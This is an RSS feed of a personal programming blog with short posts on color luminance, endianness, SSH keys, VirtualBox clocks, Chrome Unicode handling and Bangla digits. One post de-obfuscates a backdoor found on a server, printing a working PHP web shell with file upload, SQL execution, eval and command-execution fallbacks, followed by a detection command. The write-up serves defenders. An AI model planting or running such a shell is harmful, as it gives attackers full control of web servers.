<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Versatile Programmer&#039;s Diary</title>
	<atom:link href="http://shiplu.mokadd.im/feed/" rel="self" type="application/rss+xml" />
	<link>http://shiplu.mokadd.im</link>
	<description>Journey goes on ...</description>
	<lastBuildDate>Mon, 16 Apr 2012 07:58:14 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Determine whether a color is bright or dark</title>
		<link>http://shiplu.mokadd.im/105/determine-whether-a-color-is-bright-or-dark/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=determine-whether-a-color-is-bright-or-dark</link>
		<comments>http://shiplu.mokadd.im/105/determine-whether-a-color-is-bright-or-dark/#comments</comments>
		<pubDate>Mon, 16 Apr 2012 07:58:14 +0000</pubDate>
		<dc:creator>shiplu</dc:creator>
				<category><![CDATA[algorithm]]></category>
		<category><![CDATA[HOWTO]]></category>
		<category><![CDATA[color]]></category>
		<category><![CDATA[eye]]></category>
		<category><![CDATA[luminance]]></category>
		<category><![CDATA[optics]]></category>

		<guid isPermaLink="false">http://shiplu.mokadd.im/?p=105</guid>
		<description><![CDATA[For a site recently I have been working, I had to determine whether a background color is dark or bright. My target was to watermark it with contrast color. If its too bright, I&#8217;d use black. For dark color I&#8217;d &#8230; <a href="http://shiplu.mokadd.im/105/determine-whether-a-color-is-bright-or-dark/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>For a site recently I have been working, I had to determine whether a background color is dark or bright. My target was to watermark it with contrast color. If its too bright, I&#8217;d use black. For dark color I&#8217;d use white. Its so simple to think. But not easy to find.</p>
<p>The main Idea was to find the Luminance of a color (capital Y) . If the luminance is enough high water mark it with dark color and vice versa. This will make a contrast so watermark will always visible be.</p>
<p>To find the Luminance of a color (Y) this forumula is used</p>
<pre>Y = 0.2126 R + 0.7152 G + 0.0722 B</pre>
<p>Here R, G and B are the Red, Green and Blue component of a color.  Here the constant values are determined by the contribution factor of intensity perceived by human eye. See the <a href="http://en.wikipedia.org/wiki/Luminance_(relative)">wiki</a>. Now if Y is higher than 128 then its brighter color and you need to use dark color for water marking and use bright color for Y is less than 128.</p>
]]></content:encoded>
			<wfw:commentRss>http://shiplu.mokadd.im/105/determine-whether-a-color-is-bright-or-dark/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Convert Little endian to Big endian in PHP or vice versa</title>
		<link>http://shiplu.mokadd.im/95/convert-little-endian-to-big-endian-in-php-or-vice-versa/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=convert-little-endian-to-big-endian-in-php-or-vice-versa</link>
		<comments>http://shiplu.mokadd.im/95/convert-little-endian-to-big-endian-in-php-or-vice-versa/#comments</comments>
		<pubDate>Mon, 02 Apr 2012 06:47:45 +0000</pubDate>
		<dc:creator>shiplu</dc:creator>
				<category><![CDATA[Core]]></category>
		<category><![CDATA[hardware]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Snippet]]></category>
		<category><![CDATA[amd64]]></category>
		<category><![CDATA[big-endian]]></category>
		<category><![CDATA[endianness]]></category>
		<category><![CDATA[intel]]></category>
		<category><![CDATA[little-endian]]></category>
		<category><![CDATA[x86]]></category>
		<category><![CDATA[x86_64]]></category>

		<guid isPermaLink="false">http://shiplu.mokadd.im/?p=95</guid>
		<description><![CDATA[In PHP you might have to convert the endianness of a number. PHP does not provide any function for this even though it has function for almost everything. So I wrote a function for this, Usage: php &#62; echo var_dump(5254071951610216, &#8230; <a href="http://shiplu.mokadd.im/95/convert-little-endian-to-big-endian-in-php-or-vice-versa/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>In PHP you might have to convert the <a href="http://en.wikipedia.org/wiki/Endianness">endianness</a> of a number. PHP does not provide any function for this even though it has function for almost everything.</p>
<p>So I wrote a function for this,</p>
<pre class="brush: php; title: Sample Code; notranslate">
function chbo($num) {
    $data = dechex($num);
    if (strlen($data) &lt;= 2) {
        return $num;
    }
    $u = unpack(&quot;H*&quot;, strrev(pack(&quot;H*&quot;, $data)));
    $f = hexdec($u[1]);
    return $f;
}</pre>
<p>Usage:</p>
<pre>php &gt; echo var_dump(5254071951610216, chbo(5254071951610216448));
int(5254071951610216)
int(20120214104648)
php &gt; echo var_dump(2147483648, chbo(2147483648));
int(2147483648)
int(128)</pre>
<p>Note: this function changes the byte order. If your machines byte-order is little-endian, this function will change it to big-endian. If your machines byte-order is big-endian, it will change the number to big-endian.</p>
<p>All x86 and x86_64 are little-endian. ARM can be both.  More can be found on this <a href="http://en.wikipedia.org/wiki/Endianness#Endianness_and_hardware">wiki article</a></p>
]]></content:encoded>
			<wfw:commentRss>http://shiplu.mokadd.im/95/convert-little-endian-to-big-endian-in-php-or-vice-versa/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>7 steps to stop ssh from asking password</title>
		<link>http://shiplu.mokadd.im/90/7-steps-to-stop-ssh-from-asking-password/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=7-steps-to-stop-ssh-from-asking-password</link>
		<comments>http://shiplu.mokadd.im/90/7-steps-to-stop-ssh-from-asking-password/#comments</comments>
		<pubDate>Sat, 17 Mar 2012 15:53:29 +0000</pubDate>
		<dc:creator>shiplu</dc:creator>
				<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[HOWTO]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Unix]]></category>
		<category><![CDATA[cryptography]]></category>
		<category><![CDATA[dsa]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[rcp]]></category>
		<category><![CDATA[rsa]]></category>
		<category><![CDATA[rsh]]></category>
		<category><![CDATA[rsync]]></category>
		<category><![CDATA[scp]]></category>
		<category><![CDATA[secure shell]]></category>
		<category><![CDATA[ssh]]></category>

		<guid isPermaLink="false">http://shiplu.mokadd.im/?p=90</guid>
		<description><![CDATA[If you have to do a lot of ssh, scp for a remote server you might find it annoying that it asks  for password. It asks for password in a separate tty so you can not even automate it. If &#8230; <a href="http://shiplu.mokadd.im/90/7-steps-to-stop-ssh-from-asking-password/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>If you have to do a lot of ssh, scp for a remote server you might find it annoying that it asks  for password. It asks for password in a separate tty so you can not even automate it. If typing password bothers you too much you can change it so it wont ask you again. We are not turning of any authentication or disabling anything. We&#8217;ll just use a key file thats it.</p>
<p>Say your server name is <strong>server.</strong> And you are in a linux bo<strong>x.  Follow these steps.</strong></p>
<ol>
<li>In the terminal run
<pre>ssh-keygen 
Generating public/private rsa key pair.
Enter file in which to save the key (/home/shiplu/.ssh/id_rsa):</pre>
</li>
<li>In the &#8216;Enter file in which to save the key&#8217; prompt type a file name where you want to store the key. Dont just press enter which will overwrite the current key file. Suppose you enter my-key.</li>
<li>It&#8217;ll ask for a passphrase twice. Dont put anything. Just press enter twice to make it password less.</li>
<li>You&#8217;ll see two files my-key and my-key.pub is created. Now copy the my-key.pub to your <strong>server</strong> by scp/rcp/rsync. This will be the last time you are copying something with password!</li>
<li>Login to the <strong>server</strong>. Remember the login username. On the <strong>server</strong>run this command.
<pre>cat /path/to/my-key.pub &gt;&gt; ~/.ssh/authorized_keys</pre>
<p>This command will add the public key in .ssh/authorized_keys in login users home directory (~).</li>
<li>Now from the <strong>workstation</strong>you can login without password by
<pre>ssh -i /path/to/my-key -l LOGIN_USERNAME server</pre>
</li>
<li>For later convenience, put this in your <code>~/.bashrc</code>file
<pre>alias server_ssh='ssh -i /path/to/my-key -l LOGIN_USERNAME'
alias server_scp='scp -i /path/to/my-key -l LOGIN_USERNAME'</pre>
</li>
</ol>
<p>Now you can login easily by</p>
<pre>server_ssh server</pre>
]]></content:encoded>
			<wfw:commentRss>http://shiplu.mokadd.im/90/7-steps-to-stop-ssh-from-asking-password/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>HTTP Cookies from VirtualBox are not sent back</title>
		<link>http://shiplu.mokadd.im/86/http-cookies-from-virtualbox-are-not-sent-back/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=http-cookies-from-virtualbox-are-not-sent-back</link>
		<comments>http://shiplu.mokadd.im/86/http-cookies-from-virtualbox-are-not-sent-back/#comments</comments>
		<pubDate>Sat, 10 Mar 2012 16:49:32 +0000</pubDate>
		<dc:creator>shiplu</dc:creator>
				<category><![CDATA[Browser]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Unix]]></category>
		<category><![CDATA[cookie]]></category>
		<category><![CDATA[http]]></category>
		<category><![CDATA[ntp]]></category>
		<category><![CDATA[time]]></category>
		<category><![CDATA[virtualbox]]></category>
		<category><![CDATA[virtualization]]></category>

		<guid isPermaLink="false">http://shiplu.mokadd.im/?p=86</guid>
		<description><![CDATA[VirtualBox is a great virualization solution. I use it to host my website and test it. It helps it me to set up the very same environment as I use in the server.  So I dont have to worry whether &#8230; <a href="http://shiplu.mokadd.im/86/http-cookies-from-virtualbox-are-not-sent-back/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>VirtualBox is a great virualization solution. I use it to host my website and test it. It helps it me to set up the very same environment as I use in the server.  So I dont have to worry whether recent change in the web application will break it.  If you are a web developer and not using VirtualBox you should start right now.</p>
<p>Today I faced a weird problem. I could not log in to the web application in the vbox. But I could log in the live server. There was no difference between these two. One is physical server and other was virtual. After observing the http headers carefully I found that php session ids sent from virtual box was not preserved. But for live sever they get preserved. Session id is usually saved in cookie. Its the http clients responsibility to save the cookie and send it back along with successive request. I tested it in curl. it was not saving cooking. Google chrome was also not saving cookie. Only Firefox was saving.</p>
<p>At first I though its a problem of Google Chrome. I was almost submiting a bug to Chrome team. But then I tested in curl and it was not working. Two clients can not have same bug. So this should a problem of my host.  I compared all the headers sent by both live server and virtual box server side by side. And guess what I found?  The expires time for a cookie sent by virutal server was in past time. So this cookie was expired when generated.  It means my virtual box servers time was not in sync. I have to synchronize it with time server. The following command is enough for this.</p>
<pre>ntpdate pool.ntp.org</pre>
<p>After this everything was working smooth.  I always sync the time when i start the vbox server. If you boot your server time will be automatically synchronized. But if you save the state and later resume it you have to synchronise it manually. I never missed synchronizing. Today I forgot it. So I never think about it.  I checked last 30 revision from my svn repository to track down the problem.</p>
<p>My suggestion,<strong> Always synchronize the time of a vbox server if you resume it. </strong>Use the command above for this.</p>
<p>Now a new question arise. Why Firefox used a expired cookie?  I&#8217;ll verify it later.</p>
]]></content:encoded>
			<wfw:commentRss>http://shiplu.mokadd.im/86/http-cookies-from-virtualbox-are-not-sent-back/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Google Chrome Unicode normalization and য়, ড়, ঢ় problem</title>
		<link>http://shiplu.mokadd.im/77/google-chrome-unicode-normalization-and-%e0%a6%af%e0%a6%bc-%e0%a6%a1%e0%a6%bc-%e0%a6%a2%e0%a6%bc-problem/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=google-chrome-unicode-normalization-and-%25e0%25a6%25af%25e0%25a6%25bc-%25e0%25a6%25a1%25e0%25a6%25bc-%25e0%25a6%25a2%25e0%25a6%25bc-problem</link>
		<comments>http://shiplu.mokadd.im/77/google-chrome-unicode-normalization-and-%e0%a6%af%e0%a6%bc-%e0%a6%a1%e0%a6%bc-%e0%a6%a2%e0%a6%bc-problem/#comments</comments>
		<pubDate>Tue, 06 Mar 2012 20:06:29 +0000</pubDate>
		<dc:creator>shiplu</dc:creator>
				<category><![CDATA[Browser]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Unicode]]></category>
		<category><![CDATA[bangla]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Google Chrome]]></category>
		<category><![CDATA[unicode]]></category>

		<guid isPermaLink="false">http://shiplu.mokadd.im/?p=77</guid>
		<description><![CDATA[If you are using Google Chrome and writing Bangla, you might have already faced this problem. Every time you send a POST request (it just happens to POST data only) Google Chrome changes normalizes Unicode characters automatically. In Bangla Language &#8230; <a href="http://shiplu.mokadd.im/77/google-chrome-unicode-normalization-and-%e0%a6%af%e0%a6%bc-%e0%a6%a1%e0%a6%bc-%e0%a6%a2%e0%a6%bc-problem/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>If you are using Google Chrome and writing Bangla, you might have already faced this problem. Every time you send a POST request (it just happens to POST data only) Google Chrome changes normalizes Unicode characters automatically. In Bangla Language Chrome normalizes 3 characters. These are য়, ড় and ঢ়.</p>
<h2>What Chrome Actually do?</h2>
<p>If you look carefully each of these 3 characters has a dot (.) underneath. Also there are 3 other characters in Bangla which are same like this but without dot. In Bangla there are actually 6 characters, ড, ঢ, য, ড়, ঢ়, য়. Chrome just uses the first 3 and adds a dot underneath to form the last 3. This is called normalization. Each time we send request that contains the last 3 characters, Chrome just converts them to corresponding first 3 characters and then adds a dot.  This happens only for those data that resides in HTTP request body. So, this behaviour is not found for Cookie, Header or in Query string as all of these three data sources reside in HTTP request header. I suspect it also happens with PUT type request.</p>
<h2>An Example</h2>
<p>Lets say we are going to submit a form with request method is POST.  It has a input field. If you type &#8220;গাঢ় সবুজ পেয়াড়া&#8221; (a sentence that contains all the problem characters) and submit the form, Chrome will submit &#8220;গাঢ় সবুজ পেয়াড়া&#8221;. These string may look alike. But they are different! In hex, The <span style="color: #ff0000;">red</span> stands for modified characters and <span style="color: #008000;">green</span> for newly added characters. Spaces are used to align.</p>
<pre>before: hex(গাঢ় সবুজ পেয়াড়া)= <span>e0a697e0a6bee0a79d</span>      <span>20e0a6b8e0a6ace0a781e0a69c20e0a6aae0a787e0a79f</span>      <span>e0a6bee0a79c</span>      <span>e0a6be</span>
after:  hex(গাঢ় সবুজ পেয়াড়া)= <span>e0a697e0a6be</span><span style="color: #ff0000;">e0a6a2</span><span style="color: #008000;">e0a6bc</span><span>20e0a6b8e0a6ace0a781e0a69c20e0a6aae0a787</span><span style="color: #ff0000;">e0a6af</span><span style="color: #008000;">e0a6bc</span><span>e0a6be</span><span style="color: #ff0000;">e0a6a1</span><span style="color: #008000;">e0a6bc</span><span>e0a6be</span></pre>
<h2>Key points:</h2>
<p>Some key points to be noted.</p>
<ul>
<li>This normalization takes place any data that reside in HTTP Request body. So only POST and  PUT will be affected. Cookie, Header and Query string data will be unaffected.</li>
<li>The inconsistency between HTTP request body and header part confirms this as a Chrome bug.</li>
<li>Either it should be normalized all over HTTP request or nowhere.</li>
</ul>
<h2>Solution:</h2>
<p>As you have already understood the problem you know how to solve it. Just <a title="Report a bug in Google Chrome" href="chrome://feedback/#2" target="_blank">file a bug to Google Chrome team</a>. As long as google does not fix this you can just replace those characters in your web application.  Here is a snipped I have written to fix this in PHP.</p>
<pre class="brush: php; title: Sample Code; notranslate">
class DeNormalOntosteo {
private static $strmap = array('/য/' =&gt; 'য়', '/ড/' =&gt; 'ড়', '/ঢ/' =&gt; 'ঢ়');
public static function replace($data) {
if (is_array($data)) {
$keys = array_keys($data);
$values = array_values($data);
$len = count($values);
while ($len--) {
$values[$len] = preg_replace(array_keys(self::$strmap), array_values(self::$strmap), $values[$len]);
}
return array_combine($keys, $values);
} elseif (is_string($data)) {
return preg_replace(array_keys(self::$strmap), array_values(self::$strmap), $data);
} else {
return false;
}
}
}
</pre>
<p>Usage</p>
<pre class="brush: php; title: Sample Code; notranslate">
// Denormalizing $_POST array
$_POST = DeNormalOntosteo::replace($_POST);
// Denormalizing a string
$_POST['data'] = DeNormalOntosteo::replace($_POST['data']);
</pre>
<p><strong>Update 1:</strong></p>
<p>I have created <a href="http://mokadd.im/~shiplu/chrome-bug.php">a page</a> where you can see the bug in action. You must use google chrome to browse <a href="http://mokadd.im/~shiplu/chrome-bug.php">this page</a>. Just visit and press <strong>submit</strong>.</p>
<p><strong>Update 2: </strong></p>
<p>I have <a href="http://code.google.com/p/chromium/issues/detail?id=117128">filed a bug</a> on chromium team on google code. If you are having same issue please give them a knock <a href="http://code.google.com/p/chromium/issues/detail?id=117128">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://shiplu.mokadd.im/77/google-chrome-unicode-normalization-and-%e0%a6%af%e0%a6%bc-%e0%a6%a1%e0%a6%bc-%e0%a6%a2%e0%a6%bc-problem/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>De-obfuscate a backdoor PHP script</title>
		<link>http://shiplu.mokadd.im/73/de-obfuscate-a-backdoor-php-script/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=de-obfuscate-a-backdoor-php-script</link>
		<comments>http://shiplu.mokadd.im/73/de-obfuscate-a-backdoor-php-script/#comments</comments>
		<pubDate>Mon, 27 Feb 2012 16:57:40 +0000</pubDate>
		<dc:creator>shiplu</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Unix]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[base64_encode]]></category>
		<category><![CDATA[decoding]]></category>
		<category><![CDATA[encoding]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://shiplu.mokadd.im/?p=73</guid>
		<description><![CDATA[Today (almost 1 hour ago) I got an script encoded. At first look I though its one of those wordpress footer files which are obfuscated by theme makers.  So I started to decode it. The process of decoding is very &#8230; <a href="http://shiplu.mokadd.im/73/de-obfuscate-a-backdoor-php-script/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Today (almost 1 hour ago) I got an script encoded. At first look I though its one of those wordpress footer files which are obfuscated by theme makers.  So I started to decode it. The process of decoding is very simple. Mainly by replacing &#8220;eval&#8221; with &#8220;echo&#8221;.  I am not gonna describe the detailed process.</p>
<p>I use this code to decode it.</p>
<pre class="brush: php; title: Sample Code; notranslate">
$contents = file_get_contents(&quot;php://stdin&quot;);$create_function = '\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e';
$base64_decode ='\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65';
if(strpos($contents, $create_function)!==false){
        echo &quot;create_function() invocation found! \n&quot;;
        if(strpos($contents, $base64_decode)!==false){
                echo &quot;base64_decode() invocation found! \n&quot;;
        }
}

// finding base64 pattern

preg_match('/&quot;([a-zA-Z0-9\/+]{500,}[=]{0,2})&quot;/', $contents, $m);
$data = base64_decode($m[1]);
eval(str_replace('eval', 'echo', $data));
</pre>
<p>And here is the result.</p>
<pre class="brush: php; title: Sample Code; notranslate">error_reporting(E_ERROR | E_WARNING | E_PARSE);
ini_set('display_errors', &quot;0&quot;)
if ($_POST[&quot;p&quot;] != &quot;&quot;) {
        $_COOKIE[&quot;p&quot;] = $_POST[&quot;p&quot;];
        setcookie(&quot;p&quot;, $_POST[&quot;p&quot;], time() + 3600);
}

if (md5($_COOKIE[&quot;p&quot;]) != &quot;ca3f717a5e53f4ce47b9062cfbfb2458&quot;) {
        echo &quot;&lt;form method=post&gt;&quot;;
        echo &quot;&lt;input type=text name=p value='' size=50&gt;&quot;;
        echo &quot;&lt;input type=submit name=B_SUBMIT value='Check'&gt;&quot;;
        echo &quot;&lt;/form&gt;&quot;;
        exit;
}

if ($_POST[&quot;action&quot;] == &quot;upload&quot;) {

    $l=$_FILES[&quot;filepath&quot;][&quot;tmp_name&quot;];
    $newpath=$_POST[&quot;newpath&quot;];
    if ($newpath!=&quot;&quot;) move_uploaded_file($l,$newpath);
    echo &quot;done&quot;;

} else if ($_POST[&quot;action&quot;] == &quot;sql&quot;) {

    $query = $_POST[&quot;query&quot;];
    $query = str_replace(&quot;\'&quot;,&quot;'&quot;,$query);
    $lnk = mysql_connect($_POST[&quot;server&quot;], $_POST[&quot;user&quot;], $_POST[&quot;pass&quot;]) or die ('Not connected : ' . mysql_error());
    mysql_select_db($_POST[&quot;db&quot;], $lnk) or die ('Db failed: ' . mysql_error());
    mysql_query($query, $lnk) or die ('Invalid query: ' . mysql_error());
    mysql_close($lnk);
    echo &quot;done&lt;br&gt;&lt;pre&gt;$query&lt;/pre&gt;&quot;;

} else if ($_POST[&quot;action&quot;] == &quot;runphp&quot;) {

    eval(base64_decode($_POST[&quot;cmd&quot;]));

} else {

    $disablefunc = @ini_get(&quot;disable_functions&quot;);
    if (!empty($disablefunc)) {
        $disablefunc = str_replace(&quot; &quot;,&quot;&quot;,$disablefunc);
        $disablefunc = explode(&quot;,&quot;,$disablefunc);
    } else $disablefunc = array();

    function myshellexec($cmd) {
        global $disablefunc;
        $result = &quot;&quot;;
        if (!empty($cmd)) {
            if (is_callable(&quot;exec&quot;) and !@in_array(&quot;exec&quot;,$disablefunc)) {@exec($cmd,$result); $result = @join(&quot;\n&quot;,$result);}
            elseif (($result = `$cmd`) !== FALSE) {}
            elseif (is_callable(&quot;system&quot;) and !@in_array(&quot;system&quot;,$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); @system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
            elseif (is_callable(&quot;passthru&quot;) and !@in_array(&quot;passthru&quot;,$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); @passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
            elseif (is_resource($fp = @popen($cmd,&quot;r&quot;))) {
                $result = &quot;&quot;;
                while(!feof($fp)) {$result .= @fread($fp,1024);}
                @pclose($fp);
            }
        }
        return $result;
    }
        $cmd = stripslashes($_POST[&quot;cmd&quot;]);
        $cmd_enc = stripslashes($_POST[&quot;cmd_enc&quot;]);
        if ($_POST[&quot;enc&quot;]==1){
                $cmd=base64_decode($cmd_enc);
        }
        ?&gt;
&lt;script language=javascript type=&quot;text/javascript&quot;&gt;
&lt;!--
var END_OF_INPUT = -1;
var base64Chars = new Array('A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','+','/');
var reverseBase64Chars = new Array();
for (var i=0; i &lt; base64Chars.length; i++){
    reverseBase64Chars[base64Chars[i]] = i;
}
var base64Str;
var base64Count;
function setBase64Str(str){
    base64Str = str;
    base64Count = 0;
}
function readBase64(){
    if (!base64Str) return END_OF_INPUT;
    if (base64Count &gt;= base64Str.length) return END_OF_INPUT;
    var c = base64Str.charCodeAt(base64Count) &amp; 0xff;
    base64Count++;
    return c;
}
function encodeBase64(str){
    setBase64Str(str);
    var result = '';
    var inBuffer = new Array(3);
    var lineCount = 0;
    var done = false;
    while (!done &amp;&amp; (inBuffer[0] = readBase64()) != END_OF_INPUT){
        inBuffer[1] = readBase64();
        inBuffer[2] = readBase64();
        result += (base64Chars[ inBuffer[0] &gt;&gt; 2 ]);
        if (inBuffer[1] != END_OF_INPUT){
            result += (base64Chars [(( inBuffer[0] &lt;&lt; 4 ) &amp; 0x30) | (inBuffer[1] &gt;&gt; 4) ]);
            if (inBuffer[2] != END_OF_INPUT){
                result += (base64Chars [((inBuffer[1] &lt;&lt; 2) &amp; 0x3c) | (inBuffer[2] &gt;&gt; 6) ]);
                result += (base64Chars [inBuffer[2] &amp; 0x3F]);
            } else {
                result += (base64Chars [((inBuffer[1] &lt;&lt; 2) &amp; 0x3c)]);
                result += ('=');
                done = true;
            }
        } else {
            result += (base64Chars [(( inBuffer[0] &lt;&lt; 4 ) &amp; 0x30)]);
            result += ('=');
            result += ('=');
            done = true;
        }
        lineCount += 4;
        if (lineCount &gt;= 76){
            result += ('\n');
            lineCount = 0;
        }
    }
    return result;
}
function encodeIt(f){
        l=encodeBase64(f.cmd.value);
        f.cmd_enc.value=l;
        f.cmd.value=&quot;&quot;;
        f.enc.value=1;
        f.submit();
}
//--&gt;&lt;/script&gt;
        &lt;?

    echo &quot;&lt;form method=post action='' onSubmit='encodeIt(this);return false;'&gt;&quot;;
    echo &quot;&lt;input type=text name=cmd value=\&quot;&quot;.str_replace(&quot;\&quot;&quot;,&quot;&amp;quot;&quot;,$cmd).&quot;\&quot; size=150&gt;&quot;;
    echo &quot;&lt;input type=hidden name=enc value='0'&gt;&quot;;
    echo &quot;&lt;input type=hidden name=cmd_enc value=''&gt;&quot;;
    echo &quot;&lt;input type=submit name=B_SUBMIT value='Go'&gt;&quot;;
    echo &quot;&lt;/form&gt;&quot;;
    if ($cmd != &quot;&quot;) {
        echo &quot;&lt;pre&gt;&quot;;
        $cmd=stripslashes($cmd);
        echo &quot;Executing $cmd \n&quot;;
        echo myshellexec(&quot;$cmd&quot;);
        echo &quot;&lt;/pre&gt;&quot;;
        exit;
    }
}</pre>
<p>If you look at the code carefully, you&#8217;ll notice its a backdoor.</p>
<ul>
<li>It can upload arbitrary files</li>
<li>It can execute mysql quries</li>
<li>Its can shell command</li>
</ul>
<div>If you want to check if your  server has such script  run the following command in shell in your web root.</div>
<div>
<pre>find . -iname '*.php' -size 28k -exec egrep '\\x63\\x72\\x65\\x61\\x74\\x65\\x5f\\x66\\x75\\x6e\\x63\\x74\\x69\\x6f\\x6e' -o {} \;</pre>
<p>Here &#8220;\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e&#8221; is hex encoded &#8220;create_function&#8221; string. This is a PHP function that creates function dynamically from string.</p>
</div>
]]></content:encoded>
			<wfw:commentRss>http://shiplu.mokadd.im/73/de-obfuscate-a-backdoor-php-script/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Convert numbers from English to Bangla</title>
		<link>http://shiplu.mokadd.im/66/convert-numbers-from-english-to-bangla/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=convert-numbers-from-english-to-bangla</link>
		<comments>http://shiplu.mokadd.im/66/convert-numbers-from-english-to-bangla/#comments</comments>
		<pubDate>Sun, 05 Feb 2012 11:28:11 +0000</pubDate>
		<dc:creator>shiplu</dc:creator>
				<category><![CDATA[HOWTO]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Snippet]]></category>
		<category><![CDATA[bangla]]></category>
		<category><![CDATA[translation]]></category>

		<guid isPermaLink="false">http://shiplu.mokadd.im/?p=66</guid>
		<description><![CDATA[Today Ayon came up  with a problem that he needs to convert English digits to Bangla. The Input would be something like &#8220;1 ডলার = 81.55 টাকা&#8221; and the output should be &#8220;১ ডলার = ৮১.৫৫ টাকা&#8221;. How to do &#8230; <a href="http://shiplu.mokadd.im/66/convert-numbers-from-english-to-bangla/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Today <a href="http://ayonkhan.com">Ayon</a> <a href="http://forum.projanmo.com/topic33824.html">came up  with a problem</a> that he needs to convert English digits to Bangla. The Input would be something like &#8220;1 ডলার = 81.55 টাকা&#8221; and the output should be &#8220;১ ডলার = ৮১.৫৫ টাকা&#8221;. How to do it?</p>
<p>Its very easy to do. In fact most developers will be able to do it within few minutes. I just want to share my solution.</p>
<p>I use PHP&#8217;s <a href="http://php.net/str_replace">str_replace</a> function.</p>
<pre class="brush: php; title: Sample Code; notranslate"> $bn_digits=array('০','১','২','৩','৪','৫','৬','৭','৮','৯');
$output = str_replace(range(0, 9),$bn_digits, $input); </pre>
<p>Thats it. You can wrap it with a function and re use it.</p>
<p><span style="color: #6c7474;"><br />
</span></p>
]]></content:encoded>
			<wfw:commentRss>http://shiplu.mokadd.im/66/convert-numbers-from-english-to-bangla/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Parse Query String by pure JavaScrirpt</title>
		<link>http://shiplu.mokadd.im/61/parse-query-string-by-pure-javascrirpt/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=parse-query-string-by-pure-javascrirpt</link>
		<comments>http://shiplu.mokadd.im/61/parse-query-string-by-pure-javascrirpt/#comments</comments>
		<pubDate>Sat, 28 Jan 2012 21:05:11 +0000</pubDate>
		<dc:creator>shiplu</dc:creator>
				<category><![CDATA[HOWTO]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[escape]]></category>
		<category><![CDATA[Parsing]]></category>
		<category><![CDATA[Query]]></category>
		<category><![CDATA[String]]></category>
		<category><![CDATA[URI]]></category>
		<category><![CDATA[URL]]></category>

		<guid isPermaLink="false">http://shiplu.mokadd.im/?p=61</guid>
		<description><![CDATA[Here is a snipped I wrote today to parse Query String by pure JavaScript. Some people uses different JavaScript libraries. But from my older days when I used to parse GET parameter by perl I had a habit of writing &#8230; <a href="http://shiplu.mokadd.im/61/parse-query-string-by-pure-javascrirpt/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Here is a snipped I wrote today to parse Query String by pure JavaScript. Some people uses different JavaScript libraries. But from my older days when I used to parse GET parameter by perl I had a habit of writing this algorithm. I just translated it to JavaScript.</p>
<p>Here goes the code.</p>
<pre class="brush: jscript; title: Sample Code; notranslate">
function getUrlParts(url){
// url contains your data.
